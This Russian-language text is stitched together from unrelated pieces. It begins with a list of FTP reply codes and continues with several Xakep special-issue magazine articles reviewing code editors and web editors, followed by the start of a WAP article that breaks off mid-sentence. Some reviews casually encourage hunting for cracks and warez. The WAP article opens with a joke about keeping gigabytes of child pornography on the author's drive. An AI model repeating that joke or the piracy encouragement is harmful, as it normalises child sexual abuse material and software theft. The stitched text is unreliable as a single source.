500 Syntax error, command unrecognized. This may include errors such as command line too long.

501 Syntax error in parameters or arguments.

502 Command not implemented.

503 Bad sequence of commands.

504 Command not implemented for that parameter.

530 Not logged in.

532 Need account for storing files.

550 Requested action not taken. File unavailable (e.g., file not found, no access).

551 Requested action aborted. Page type unknown.

552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).

553 Requested action not taken. File name not allowed.


Спецвыпуск Xakep, номер #030, стр. 030-060-1, РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

GLAZъ $ Леха ББ aka Alexys

Спецвыпуск Xakep, номер #030, стр. 030-060-1

(glazy@mail.ru) + (alex-sun@mtu.ru).

Когда ns хочешь увидеть внутренности html-страницы, то после нажатия кнопки "Просмотр в виде HTML" вылезет стандартный виндовый блокнот (aka Notepad), который все выдаст очень аккуратно, но однообразно. Увидишь ты код, который одинаково выглядит на всем протяжении файла - все символы одного размера и одного цвета. Размер можно и поменять, сменив курьероподобный шрифт на Arial или еще чего, но цвет всех слов будет только один. Согласись, что не очень удобно отыскивать нужные куски кода, когда текст так представлен. Было бы реально, если бы тэги отличались от обычного текста. Если так, то радуйся - не один ты такой умный! Уже давно появилась куча эдиторов, которые помогут скрасить рутинную работу кодера.

HTML-kit

Как написано на сайте разработчика, это полнофункциональный редактор поможет разработчикам HTML, XHTML и XML в их нелегком деле. На самом деле, он понимает не только три эти языка разметки. Списочек, между прочим, очень даже и увесистый: CSS, XSL, JavaScript, VBScript, ASP, PHP, JSP, Perl, Python, Ruby, Java, VB, C/C++, C#, Delphi, Pascal, Lisp, SQL и много чего еще. Короче, подсветит он тебе основные функции этих языков; были бы плагины, он бы и мат в русском языке выделял. Кстати, такую фичу можно намутить :). На сайте разработчика лежит дока, готовые примеры и тулза для создания плагинов - Plug-in Generator - имеется.

Вот некоторые примеры полезных плагинов:

ExtChars - фишка, позволяющая вставлять спецсимволы, то есть их теги.

HkListLinks - позволяет делать из списка ссылок выпадающий список (коробку) с кнопкой Go. Полезная вещь, доложу тебе.

CmSlugs - вставляет цвета. Полезна тем, что можно пипеткой тыкнуть в любую точку экрана.

На сайте (www.chami.com/html-kit) валяется еще до фига полезных тулз (для удобства работы с языками Perl, PHP, CSS, JS), так что ты точно подберешь себе что-нибудь нужное.

Наш умный HTML-kit может еще спариваться с разными бродилками (Осел, Шкаф, Ария). Причем делает это он автоматически :). Понимает также и ДОСовские браузеры. Дружит и со всевозможными прогами. Например, захотел ты отредактировать картинку, нажал Edit, и вылетел твой любимый фотожоп. Клево? Да, неплохо, хотя и медленно :).

В HK есть еще такая полезная фича, как тэг-визард. Она поможет тебе получить доступ ко всем атрибутам и свойствам тега. Допустим, для тега <img> он позволит выбрать картинку, сделать превью, а если это gif, то и проиграть ее.

Имеется в наличии и CSS-редактор, плюс тебе еще покажут, в каком браузере твои нововведения поддерживаются. Вот так.

Когда ты хочешь повозиться с теговыми атрибутами, то тут вылезает "дерево параметров". Тут тебе и имя задать, и всякие примочечки, и покажут, как это выглядеть должно и чем поддерживается... Ну, в общем, все, о чем мечтать можно.

Есть еще много функций работы с текстом, а также функции массовой обработки текста (тебе надо в конце каждой строчки проставить <br>? Не вопрос!).

А теперь внимание! Барабанная дробь... Имеются "горячие клавиши"!!! Вау! Да, при таком широком наборе функций - это незаменимая вещь.


Спецвыпуск Xakep, номер #030, стр. 030-060-2, РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

GLAZъ $ Леха ББ aka Alexys

Спецвыпуск Xakep, номер #030, стр. 030-060-2

Теперь обратимся непосредственно к окну редактора. Здесь четыре страницы. Editor - само место, где ты изливаешь свои творения. Preview - просмотр в браузере, Output - результат работы какого-нибудь HTML-tidy, дабы не засорять оригинал. Split view - предлагает тебе увидеть Editor и Output в одном окне, чтоб ты мог ощутить разницу :).

Ну вот про HK все, добавлю только, что имеется еще поддержка заливки файлов на сервер. Не подумай, что это все функции HK, просто это основные, которые могут помочь тебе в выборе редактора.

Резюме: О-о-очень реальный кодитор. Делает абсолютно все! Вот только не кодит за тебя, хотя есть функции, которые помогают это делать максимально быстро и комфортно. Короче, must have тем, кто любит и может работать не в WYSIWYG'ах.

PHP Expert Editor

Редактор, ориентированный под PHP (ессесно, не без поддержки HTML). Как пишут в мануале, неплох для начинающих и опытных программеров. Имеет свой встроенный HTTP-сервачок. Разрешает ходить налево (то есть использовать свои серверы). Скрипты можно отдебагивать, проверять синтаксис и все такое. Код тебе тоже посветят, можно даже выбрать, как: один php, один html или и то и другое, скобочку укажут (правда, иногда он промахивается, но это мы ему простим).

У этого зверя есть еще и FTP-клиент, что не может не радовать. Это, конечно, еще не повод писаться от радости, но уже кое-что. Особенно если учесть, что это чудо бесплатно для наших. Также Editor посчитает и покажет, какие есть переменные, функции, классы и инклуды. Особенно удобно, когда ты описался в названии переменной и думаешь: "Че за лажа, я ж все правильно написал?". Вот тут ты и можешь увидеть, что переменная одна лишняя. Удобная фишка для конвертирования html-кода в PHP.

Неудобно тут только то, что малые возможности быстрой вставки, хотя эта фича настраивается. Но зато можно научиться быстро печатать =).

Резюме: Довольно неплохой, быстрый редактор. Да что там и говорить, сам им пользуюсь. Кое-где подотрет слюнки, но капитально вылизывать тебя не будет. Инструмент не для совсем ленивых и зажравшихся юзеров.

EditPlus

Еще один редактор типа "я-все-могу-один". Может выступать в роли могучего notepad'а, редактора HTML файлов или редактора настоящих языков программирования, таких как C/C++, Perl, PHP, Java, JavaScript, CSS, VBScript - это основные; другие, как написано, можно доставить. Имеется дэцельный браузер для просмотра творений в хтмле. В принципе, для удобства предусмотрено многое: полезные панельки, которые можно настраивать, неограниченное undo, проверка правописания (если словарик сольешь с сервера), отображение непечатаемых символов и все в таком духе.

В программе есть одна интересная фишка: окно клипов. Она помогает вставлять готовые слова или фразы (от языков) двойным нажатием. То есть надо тебе вставить, допустим, какой-нибудь тег, а печатать лень. Тыкнул на него, и он вставился. Я нигде такого не встречал, поэтому для меня было новым и необычным, хотя, наверное, полезная штука. Дополнительные такие словарики клипов можно сделать самому (например, с моим любимым русским матом :)) или слить с сайта.


Спецвыпуск Xakep, номер #030, стр. 030-060-3, РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

GLAZъ $ Леха ББ aka Alexys

Спецвыпуск Xakep, номер #030, стр. 030-060-3

Скачать это добро можно по адресу www.editplus.com.

Резюме:

Может служить как и штатным HTML-редактором, так и для других нужд. Есть превью, что не может не радовать. Плюс подсветка сделанного.

Collie Perl Shell

Это уже редактор, ориентированный только на Perl, или, как еще называют, IDE редактор (интегрированная среда разработки). Есть поддержка проектов. Ну, ессесно, не без подсветки. Плюс существует настройка таких параметров, как отступ, выступ текста. Удобно... Имеется панелька быстрой вставки HTML кода. На ней я обнаружил интересную штуку: когда нажимаешь на кнопку "вставить линию", вставляется не <HR>, а <BR>. Такой новый тип линий =). Кроме HTML'евских быстрых вставок имеется и вставка процедур. Правда, тоже скудная, но зато процедуры только основные и видно их сразу все, не приходится скролить.

Наткнулся на интересную вещь: библиотека часто используемых фрагментов кода. Чтобы не писать постоянно: "Здравствуй, Вася!", можно сохранить, а потом вставлять. Удобно комментировать строки. Для этого есть специальные клавиши на панели. Жаль, что отсутствуют горячие клавиши, по которым все это хозяйство можно вынуть. Радует дружба с русской кодировкой. Это большая проблема у множества редакторов подобного типа.

Резюме: Если тебя радует рекламный призыв "Поддержи отечественного производителя", то эта софтина для тебя. Правда, поддержка непонятная получается - софт фриварный, что само по себе стало редким явлением. Даже ломать не придется :). Пользуйся на здоровье.

PerlLive

Еще один редактор, призванный помочь в нелегком труде кодерам на языке Perl. Тулза легкая, что есть гуд, так как выливать несколько мегов ради подсветки текста и небольшого набора функций на дымящемся мопеде занятие не для слабонервных.

Итак, что мы имеем с гуся? Обрадовался я конфигурированию горячих клавиш. Можно все забить. Класс! Также редахтурЪ хорошо дружит с великим и могучим. Доступны некоторые шаблоны.

Это еще одна прога, которая имеет базу часто используемых кусков текста, или, как называют, Template master - мастер шаблонов. Можно запаролить прогу, чтобы ею никто кроме тебя не воспользовался. Как пишут, может пригодиться. Ну, еще имеется встроенный браузер, если это можно считать большим плюсом.

Резюме: Прост в обслуживании, не требователен. Идеален для дома, для семьи. Чисто любительская софтина, которая немного скрасит жизнь.

Handy HTML Studio

Реальный, но немного замороченный редактор кода. Это лучший вариант для тех, кто едва-едва знает тэги, но создание страниц в WORD'е или FrontPage даже для них полный позор. В программе заложено полное правильное описание всех известных (и некоторых не очень) тэгов HTML и атрибутов CSS (всякие border'ы, font'ы и многое другое). Даже хорошо знающему язык разметки страниц этот редактор может служить заодно и справочной службой - такое количество мануала мне только в линуксе встречалось. Handy HTML Studio обучена работе с HTML, XML, CSS, Perl, Java, JS, причем определяет тип открываемого файла безошибочно (во всяком случае, пока ни у кого из знакомых проблем не было), поддерживает SSI-директивы. PHP вроде бы не предусмотрен, но все равно довольно неплохо все выделяет. Еще бы, ведь он с HTML неслабо пересекается. Важным для кодитора является возможность одновременно держать открытыми несколько файлов и легко и быстро переключаться между ними. Панель инструментов программы немного напоминает Word'овскую, только в отличие от M$-софтины не гадит код всякой лажей (разве что пару строчек в начале добавляет). Отдельную благодарность создателям выразят те, кто делает статические HTML-ки. Иногда бывает нужным заменить какой-то одинаковый фрагмент кода, встречающийся на 10 и больше страницах. Лазить и менять все ручками - дело очень утомительное. С помощью Handy HTML Studio такую замену можно совершать довольно легко и непринужденно. Причем из испробованных 10 различных программ эта единственная, которая меняет все нормально и при этом не вылетает.


Спецвыпуск Xakep, номер #030, стр. 030-060-4, РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

GLAZъ $ Леха ББ aka Alexys

Спецвыпуск Xakep, номер #030, стр. 030-060-4

Кроме тулзы для замены кода в разных файлах существует ColourSpy (шпион цвета). Он возвращает 16-ричный код цвета, на который ты навел пипетку. Причем этот шпион крадет цвет не только из окна программы (тем более, что их не так много), а с любого окна, которое визуально наблюдаешь. Окно ColourSpy после его вызова будет находиться поверх всех остальных окон. Реально полезная тулза - иной раз мучаешься с подбором цвета, а ничего хорошего не получается. Здесь даже можно выбрать WebSafe - безопасные цвета Интернета. Для любого веб-мастера просто незаменимая вещица. Интегрируется в виндовое меню - при правом клике на файл появится опция Edit with Handy HTML Studio.

Очень рекомендую слазить на http://www.silveragesoftware.com (сайт разработчика) и скачать оттуда эту программку. А вот кряк к ней придется поискать подольше :(. На этом же сайте есть еще пара программок, которые облегчат жизнь веб-мастеру, но эта, на мой взгляд, лучшая.

Резюме: Все в одном, все под рукой. Выбор реального веб-кодера.

Aditor Pro

Старенький, но проверенный временем редактор. Очень не требовательный к системе и маленький (примерно 750 килобайт). Даже на дискете спокойно уместится :). Есть вариант включения русскоязычного меню (спасение для тех, кто английский не знает). Предназначен он для тех, кто привык писать все ручками, но так, чтобы красиво был виден код. Нет ни лишних, ни полезных заморочек, как в Handy HTML Studio. Зато есть небольшая подборка HTML-тэгов и даже готовых кусков кода. Работает с 5 кодировками (KOI8, Win, Dos, Mac, Iso), причем можно конвертить исходники из одной кодировки в другую. Может подсвечивать файлы многих типов, таких как HTML, PAS, C/C++, Fido-шного мыла, ASM'а и многих других. Как и в Handy HTML Studio, в Aditor'е можно обрабатывать кучу файлов одновременно для замены фрагментов кода. Один знакомый, у которого не доходят руки и другие части тела для изучения SSI и CGI, долго меня благодарил за наводку на эту программу. Aditor - это не только кодитор, но и неплохой текстовый редактор. В нем существует возможность удалять конечные пробелы, превращать табы в пробелы, менять регистр символов, вставлять невидимые символы (как в ворде), выравнивать текст и т.д. Разве что только орфография не проверяется, хотя наверняка есть способы, как и это устроить. Даже не представляю, как можно было засунуть столько полезного в такую маленькую программку. Aditor можно интегрировать в систему, добавить пункт меню "Открыть с помощью Aditor", заставить его запускаться вместо блокнота.


Спецвыпуск Xakep, номер #030, стр. 030-060-5, РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

РУЧНОЙ КОДИНГ С УДОБСТВАМИ. Редакторы кода

GLAZъ $ Леха ББ aka Alexys

Спецвыпуск Xakep, номер #030, стр. 030-060-5

Резюме: Aditor - это не только редактор кода, но и довольно неплохой текстовый редактор, который зачастую может заменить и M$-овский Word. А редактор кода идет как полезная примочка.

Far Manager & Colorer4ever!

Здесь нет ошибки - это действительно тот самый FAR. Тот самый файловый менеджер. Сам по себе он слабо пригоден для редактирования кода, но если уж больше не в чем, то можно. Для пользователей из стран бывшего СССР он еще и бесплатный, если они найдут информацию об этом в License.xUSSR.txt. К нему можно прилепить туеву хучу плагинов, в том числе и для редактирования. Валяются они на сайте разработчика (http://www.rarsoft.com) - все халявные. Один из таких плагинов называется Colorer4ever (цветник навеки :)). Немного неудобно устроен этот плагин - он разбит на 2 части. Незнающего это может смутить - скачает он один, перекинет файлы куда надо, а он не работает. А в инструкции все написано. И делают ее для того, чтобы читали, когда что-то не получается, а не для придания большего объема продукту :). Скачивать надо 2 архива - colorer4ever.far.rar и colorer4ever.lib.rar. После скачивания надо сделать директорию Colorer в дире плагинов фара (по дефолту это C:\Program Files\Far\Plugins\), распаковать туда содержимое обоих архивов. Потом в директории Colorer\bin (C:\Program Files\Far\Plugins\Colorer\bin) запустить install.exe, а после перезапустить фар. После этой хитрой процедуры все файлы при редактировании будут симпатично подсвечиваться. Поначалу мне это напомнило старенькие (еще DOS-овские) редакторы Borland Turbo Pascal или Borland C++. Только ФАР+Colorer заточены не под один тип кода, а под довольно внушительное количество - наверно, больше, чем все вышеописанные редакторы вместе взятые. Редактируя файлы с включенным колорером, надо знать, что его можно и под себя настроить. Для это надо будет нажать F11, выбрать "колорер", а дальше интуиция подскажет, какую кнопку нажать.

ФИНАЛ

Выбор того или иного редактора для кодинга зависит от твоих знаний и требований к редактору, а также от возможностей твоей системы. Так, HandyHTML Studio наверняка будет тормозить на слабых компах - в ней много таких вещей, которые едва ли понадобятся реально шарящему в коде. Таким людям больше подойдет Far+Colorer. Приятного кодинга.


Спецвыпуск Xakep, номер #030, стр. 030-064-1, Notepad must die - выбираем веб-редактор

Notepad must die - выбираем веб-редактор

Kirion (kirion@winfo.org)

Спецвыпуск Xakep, номер #030, стр. 030-064-1

Я полагаю, что ты уже достаточно подкован, чтобы создать свой креативный, интересный, содержательный и полезный портал. Несколько номеров мы забивали тебе мозги различными технологиями, учили писать скрипты, настраивать форумы и многому другому. Тебе уже каждую ночь снится твой www.megaportal.narod.ru :). И вот в один прекрасный день ты запасся пивом, сварил термос кофе, наделал бутербродов и засел за комп, полный решимости сделать-таки свой сайт. Только вот можно один вопрос: а в какой проге ты будешь его делать?

От блокнота до WYSIWYG

Надеюсь, ты не относишься к динозаврам, считающим, что сайты надо писать в блокноте. Время - слишком ценная вещь, равно как и нервы. Креатив заканчивается на разработке дизайна и навигации, дальше начинается рутина. Тебе придется много раз повторять одни и те же операции, следить за правильностью написания, копаться в справочнике в поисках назначения тегов или их атрибутов. Словом - нам нужен хороший редактор, который бы позволял автоматизировать рутинные процедуры. Позволял тебе творить, не задумываясь о том, что в получившемся коде ты в жизни не разберешься :). Еще веселее будет, когда ты запустишь свой проект и тебе придется его обновлять и поддерживать. Что если изменятся какие-нибудь ссылки? Или ты решишь подправить дизайн? Поверь мне на слово, нет ничего веселого в том, чтобы вручную исправлять линки в паре десятков документов :). Итак, нам нужен хороший веб-редактор. Многие из редакторов недалеко ушли от обычного блокнота: подсветка синтаксиса да библиотека часто используемых тегов. Для небольшой правки подойдет. На следующей ступени эволюции обитают проги вроде Homesite, которые уже обладают достаточно продвинутыми средствами для написания не только html, но и css, javascirpt и тому подобного, тут уже обязательно должны быть шаблоны, средства быстрого просмотра страницы, кое-какие средства визуального проектирования. Неплохо бы иметь и менеджер сайта с возможностью закачки на ftp непосредственно из проги. Ну а на вершине эволюции находятся WYSIWYG-редакторы. Если ты в первый раз слышишь это страшное слово, не пугайся :). Это расшифровывается всего лишь как: What You See Is What You Get (в переводе с басурманского: что ты видишь, это то, что ты получишь). Такой редактор должен содержать полные библиотеки тегов, многочисленные визуальные компоненты, средства верстки паги с помощью таблиц, редактор стилей. В идеале, используя продукт такого уровня, пользователь может вообще не знать кода. Но это в идеале, да к тому же это вредно, мозги неплохо напрягать время от времени :). Многие относятся к WYSIWYG-редакторам с известной долей снобизма: мол, это для ламеров все, паги будут много весить, плохо отображаться в браузерах. Я же рассматриваю веб-редакторы в аналогии с программированием. Можно писать код в блокноте, а затем прогонять его через консольный компилятор. Можно использовать средства RAD, вроде Дельфей, и CASE-средства, которые позволяют с минимальным редактированием кода добиваться прекрасных результатов. Главное - чтобы руки были прямые :).


Спецвыпуск Xakep, номер #030, стр. 030-064-2, Notepad must die - выбираем веб-редактор

Notepad must die - выбираем веб-редактор

Kirion (kirion@winfo.org)

Спецвыпуск Xakep, номер #030, стр. 030-064-2

Ну куда мы без MS

Надеюсь, я убедил тебя, что использовать многофункциональный WSYIWYG-редактор это правильное решение? Тогда я рассажу тебе о проге, из-за которой многие ненавидят эти продукты :). Это великий и ужасный Microsoft Frontpage. Кто-то считает, что он идеален для начинающих пользователей. Действительно, пользоваться им не сложнее, чем вордом, не зря Frontpage входит в поставку MS Office. Основная ставка была сделана на быстрое создание сайта с помощью шаблонов (кстати, советую их запомнить, будешь сразу распознавать лажовые сайты :)). Визарды рулят: когда я в первый раз увидел мастер сайта компании - просто офигел. Название компании, название продуктов, контакты, тематические страницы, next, next, next, finish. Йоу, корпоративный сайт готов :). Особо одаренные могут скачать новые темы, когда задолбаются видеть одинаковые паги по всей сети. Если же ты вдруг не захочешь пользоваться мастером и попытаешься сделать что-то ручками - придется тебя разочаровать. Делать это весьма неудобно. Очень не хватает инструментов для разметки страниц - придется рисовать таблицу, менять ее свойства, заполнять содержимым. Не хватает и инструментов для вставки тегов. Не хватает сохранения шаблонов кода, не хватает нормального редактора стилей. Словом, очень много чего не хватает. Единственное, что мне действительно нравится во Frontpage - это окно структуры сайта и списка ссылок. Сделано наглядно и достаточно удобно. Еще неплохо сделана система отчетов о характеристиках сайта и ошибках. Но этого мало, чтобы называться профессиональным продуктом. Станет ли Frontpage им когда-нибудь? Пример Access показывает, что офисные продукты можно довести до ума, но сколько выпусков Ms Office для этого понадобится?

Прядем мечту. Не дорого

Ну а теперь перейдем к моему любимцу, известному и популярному Macromedia Dreamweaver. Если помнишь, раньше у Macromedia было несколько разных продуктов на одну тему: это Dreamweaver - визуальный html-редактор, Ultradev - визуальное средство разработки веб-приложений и очень популярный (многие до сих пор им пользуются) Homesite (хотя под маркой Макромедии он стал выходить только в пятой, последней версии). Решение объединить эти продукты было логичным. В результате появился Dreamweaver MX. Чтобы не отпугнуть старых пользователей, в MX было создано несколько видов интерфейса: как в Dreamweaver 4, как в Homesite или новый интерфейс линейки продуктов MX. На этом жажда объединения у Макромедии не закончилась :). Уже распространяется пакет Studio MX, в который входит вся линейка MX: Dreamweaver, Fireworks, Flash, Freehand и другие. Прикинь, сколько стоит такой пакет. Мечта варезника :). Фанатам же Homesite (каковых очень много) видимо придется сидеть в пятой версии, ибо он обновляться не будет. Вместо этого Макромедия продвигает Contribute - что-то среднее между браузером и простым визуальным веб-редактором. Но вернемся к дриму. У многих людей очень быстро пропадает желание с ним работать из-за глюков с русскими кодировками. Собственно, это проблема всей линейки MX. Если у тебя с этим тоже проблемы - загляни во врезку.


Спецвыпуск Xakep, номер #030, стр. 030-064-3, Notepad must die - выбираем веб-редактор

Notepad must die - выбираем веб-редактор

Kirion (kirion@winfo.org)

Спецвыпуск Xakep, номер #030, стр. 030-064-3

Это надо прописать в реестре для правильного отображения русских кодировок в Dreamweaver:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage]

"1250"="c_1251.nls"

"1251"="c_1251.nls"

"1252"="c_1251.nls"

"1253"="c_1251.nls"

"1254"="c_1251.nls"

"1255"="c_1251.nls"

При первом запуске тебе предложат выбрать вариант интерфейса. Выбирай на свой вкус, но я бы посоветовал интерфейс MX, причем даже тем, кто работал со старыми версиями. Привыкнуть несложно, а MDI-интерфейс все же намного удобнее, чем лихорадочное нагромождение окон в стиле Dreamweaver 4. Тем более, что похожий интерфейс во всей линейке MX, а там тебе выбирать никто не даст :). После выбора интерфейса (который ты всегда сможешь сменить в опциях) неплохо бы пройтись по туториалам, разберешься с прогой быстрее. Ибо вначале немного рябит в глазах от различных менюшек, и только потом понимаешь, что половина из них дублируют друг друга. Одну и ту же операцию всегда можно сделать несколькими способами: с помощью панели инструментов, с помощью контекстных меню, с помощью различных закладок. В крайнем случае, можешь ручками набить код. Можно создавать продвинутые шаблоны, в которых менять можно только определенные области, а все остальное будет залочено.

Если что-то непонятно - в проге есть достаточно подробная хелпа, включающая, кстати, справочники по тегам, стилям и подобным вещам (справочник, между прочим, от O'Reilly, известного издателя компьютерной литературы). Когда созреешь писать сайт, запускай менеджер сайтов (site>new site). Это очень удобная фишка, позволяющая заливать сайт, менять его глобальные настройки, добавлять и удалять файлы, папки, проверять целостность сайта. Многие неприятные вещи сильно упрощаются. Например, тебе надо переименовать одну из папок сайта. Переходишь на закладку Files, выделяешь нужную папку, переименовываешь. Дрим автоматически обновит все ссылки в сайте. Правда, удобно? Если же ты по глупости сделаешь такую операцию вне дрима, то придется пользоваться поиском. Поиск в дриме - это достаточно мощный инструмент, позволяющий искать в тексте документов, в коде документов, искать конкретные теги, искать в текущем документе, во всем сайте, в папке, в выделенной части сайта. Более того, поддерживаются регулярные выражения, так что найти и заменить можно все, что угодно. Только ты поосторожнее с ними, а то можешь потом долго приводить пагу в исходное состояние :).

Надеюсь, что ты уже выбрал, как ты будешь размещать контент на странице. Фреймы сразу отправляем на свалку истории: в дриме есть очень удобные инструменты для верстки с помощью таблиц. На закладке Layout панели инструментов есть две кнопки: "Standart view" и "Layout view". Это режимы отображения: нормальный и для верстки. Переходишь в режим верстки и рисуешь таблицу и ячейки с помощью инструментов на этой же закладке. Кстати, верстать страницы можно не только таблицами. Есть еще такая интересная вещь, как слои. Тут полная аналогия с графическими редакторами: слои располагаются независимо, могут накладываться, перекрываться. Слои можно делать невидимыми, применять к ним скрипты, анимацию. В коде это отражается тегом DIV. К сожалению, слои могут некорректно отображаться в старых браузерах (да и в новых тоже, а все потому, что некоторым компаниям плевать на w3c и их стандарты). Если у тебя возникнет такая проблема - слои всегда можно конвертировать в таблицы. Правда о перекрытии, анимации и прочем можно забыть :(.


Спецвыпуск Xakep, номер #030, стр. 030-064-4, Notepad must die - выбираем веб-редактор

Notepad must die - выбираем веб-редактор

Kirion (kirion@winfo.org)

Спецвыпуск Xakep, номер #030, стр. 030-064-4

Ну что, с версткой ты определился, теперь займемся контентом. Очень приятная фишка дрима - это интеграция с другими продуктами линейки MX. Прежде всего, это конечно флэш. В качестве графического редактора предлагается использовать Fireworks (не замена фотошопу, но заточен под веб-графику и достаточно функционален), а в качестве векторного редактора - Freehand. Ну а в качестве языка приложений - ColdFusion. Это очень интересная технология, достойная отдельной статьи, но как-нибудь в другой раз :). При экспорте объектов (можно просто перетащить мышкой) будут устанавливаться связи между приложениями. Все изменения, сделанные в одном редакторе будут видны и при открытии в другом. Более того, по двойному клику в дриме будет вызываться соответствующий редактор. Это открывает очень широкие возможности - вроде быстрой вставки флэшевых кнопок или автоматического создания таблицы под нарезанную картинку. Если же тебе вдруг не хватит возможностей дрима - топай на сайт Macromedia Exchange (www.macromedia.com/exchange, очень стильный флэшовый сайт) и выбирай плагины по вкусу. Если же захочешь создать что-нибудь сам - читай хелпу "Extending Dreaweaver MX", скачай пару примеров с сайта. Но сначала все же взгляни на готовые решения - их очень много.

Добавь жизни в пагу. Альтернатива от Adobe.

Adobe уже давно конкурирует с Macromedia на всех фронтах. Борьба тут идет с переменным успехом: Livemotion не заменит флэш, а Fireworks не заменит фотошоп. С веб-редакторами ситуация примерно ровная. Рассмотрим Adobe GoLive поближе.

После насыщенного интерфейса дрима GoLive кажется простым, однако по функциям он ничуть не уступает дриму, а кое в чем превосходит. Я бы назвал интерфейс GoLive более упорядоченным: не так много вариантов, зато и не рябит в глазах. А вот хелпы совершенно невнятные: вместо нормального chm просто куча страниц, никакой контекстной помощи, никаких справочников. Так что основной метод обучения - метод научного тыка, как обычно :). В результате один из первых вопросов - как включить русские кодировки. Чтобы ты не лазил час по менюшкам, рассказываю: Edit>Preference, там находишь пункт Modules, а в нем ставишь галку напротив модуля Encodings (можешь полазить еще - там много полезных модулей) и перезапускаешь GoLive. Потом заходишь опять в Preference, в пункт Encodings, и ставишь нужную кодировку.

А вот менеджер сайта мне нравится больше, чем в дриме. В GoLive все объекты сайта рассортированы по закладкам, легче найти нужное. Также реализовано изменение структуры сайта: ты меняешь, все ссылки обновляются. Для забывчивых есть очень похожий механизм поиска с той разницей, что регулярные выражения можно подставлять в строку поиска из меню с шаблонами. А вот для верстки GoLive предлагает несколько другой поход. Здесь тоже есть слои, только называются они Floating boxes. Но основной акцент делается не на них, а на фишку под названием Layout grid. Технически это обычная таблица, но с автоматически добавляемыми ячейками. Инструмент table здесь используется не для верстки, а для создания обычных таблиц (хотя тебе никто не мешает верстать с его помощью, просто это не так удобно). Ты просто кидаешь Layout grid на пагу, а потом кидаешь на нее объекты. Ячейки создаются автоматически, причем обещается расположение с точностью до пикселя. На практике же все немного хуже: для создания таких таблиц используются специфические теги, в результате чего пага может некорректно отображаться в старых браузерах. Выход достаточно прост - layout grid можно конвертировать в обычную таблицу (советую так всегда и делать). Обладая таким мощным графическим редактором, Adobe не могла не включить интеграцию своих продуктов с GoLive. В результате имеем технологию Smart objects, позволяющую устанавливать связь между объектом в GoLive и Photoshop, Illustator, LiveMotion и другими. Аналогия с Макромедией почти полная, за исключением того, что эту связь нельзя отключить, а иногда это бывает нужно. Кстати, в GoLive есть такая любопытная фишка, как написание сайтов для Wap. Поддерживаются два формата: CHTML (в хелпе написано, что этот формат популярен в Японии :)) и более привычный WML. На лицензионном диске также находится эмулятор Wap, но я полагаю, что ты сможешь найти его где-нибудь еще :). А еще имеется плагин для редактирования и размещения на паге QuickTime мувиков. Никогда не хотел забацать на сайте потоковое видео? У тебя есть такая возможность. Естественно, возможности GoLive можно расширить с помощью дополнений, для чего существует сайт Adobe Xchange (www.adobexchange.com), на котором можно найти кучу дополнений для всех продуктов Adobe.


Спецвыпуск Xakep, номер #030, стр. 030-064-5, Notepad must die - выбираем веб-редактор

Notepad must die - выбираем веб-редактор

Kirion (kirion@winfo.org)

Спецвыпуск Xakep, номер #030, стр. 030-064-5

Choose life

Пришло время подвести итог. Какую же прогу выбрать? Frontpage убираем сразу. Ему дорога к другим мертворожденным редакторам вроде NetFusion или CoffeeCup. Реально существует всего два многофункциональных визуальных веб-редактора, не ударившихся в украшательство и клонирование шаблонов. Все остальные визуальные веб-редакторы - это инструменты для начинающих, и для серьезной работы не годятся. Я лично выбрал Dreaweaver. В основном потому, что люблю флэш и совершенно не умею работать в Photoshop (ламобот :) - прим. ред.), так что возможностей Fireworks мне хватает за глаза. Да и интерфейс мне нравится больше :). Если же ты гуру фотошопа - флаг тебе в руки, обрисовывай весь дизайн в нем и переноси в GoLive. На сегодняшней ступени развития этих продуктов других причин для смены предпочтений я не вижу. Что будет потом - посмотрим. Мне почему-то кажется, что Macromedia выиграет гонку. Поспорим? :).


Спецвыпуск Xakep, номер #030, стр. 030-068-1, WAPерация - "Комп или кипячение?"

WAPерация - "Комп или кипячение?"

Томилин aka "Middlenight"

Спецвыпуск Xakep, номер #030, стр. 030-068-1

(middlenight@mail.ru; http://middlenight.h10.ru)

"Enter pin code"... В задницу! (три раза)... "Только SOS"... Ах, ты, сволочь, отсос тебе еще сделать, да?.. "Аккумулятор разряжен"... Удавлю, шляпа!!! Я ненавижу свой мобильник. ОН жрет МОЮ энергию, он облучает мое тело, он жует мои нервы, короче, занимает второе почетное место среди предметов моей первой необходимости после компа.

И что бы там ни говорили, на первое место он выйдет еще очень и очень не скоро. В компе у меня и Макс с примочками, и Visual C++ от дяди Гейтса. Про гигазы детской порнухи на винте я и не говорю - куда там мобильнику до старшего брата. Но! С тех пор, как в парафоны (сотовые телефоны - евр.) стали зашивать некое подобие браузера, количество времени, проведенного за компом, у многих пиплов стало заметно сокращаться. И это, разумеется, есть гут! Я очень сильно надеюсь, что когда-нибудь мобила станет полноценной заменой компешного терминала как по скорости соединения, так и по наполнению сайтов. Впрочем, второй пункт можно претворять в жизнь уже сейчас, и не как-нибудь, а заюзав вышеупомянутого старшего брата.

В левом углу, где поставлена стрелка

Для начала разберемся, как вообще маленькая мобилка может совокупляться с Сетью. Собственно, принцип все тот же: мобила посылает сигнал на сервак, сервак - на мобилу. Браузер телефона представляет полученную инфу на дисплей. Вот, собственно, и все. Почти. За кадром остались только некоторые физические ограничения этого способа коннекта, вроде тех, что по воздуху много инфы не передашь, а на экранчике парафона много не увидишь. Да, и еще одно: цепочка "мобила - сервак на самом деле выглядит как "мобила - WAP-сервер - IP-сервер". WAP (Wireless Application Protocol) - протокол, предназначенный для оптимизации инфы под примитивные возможности сотовых телефонов. Для работы с ним нужен WAP-браузер. Здесь, слава яйцам, конкуренции нет никакой - полная аналогия с маковскими оськами, различающимися только по номеру - 1.1, 1.2, 2.0 и т.д. Разумеется, такой браузер должен воспринимать какой-то язык разметки, которым в данном случае является WML - некое ответвление от XML. Не надо, впрочем, думать, что твой телефоша не способен ни на что, кроме как трансляцию гипертекста. В мобильном Интернете все, или почти все, такое же, как и в большом: 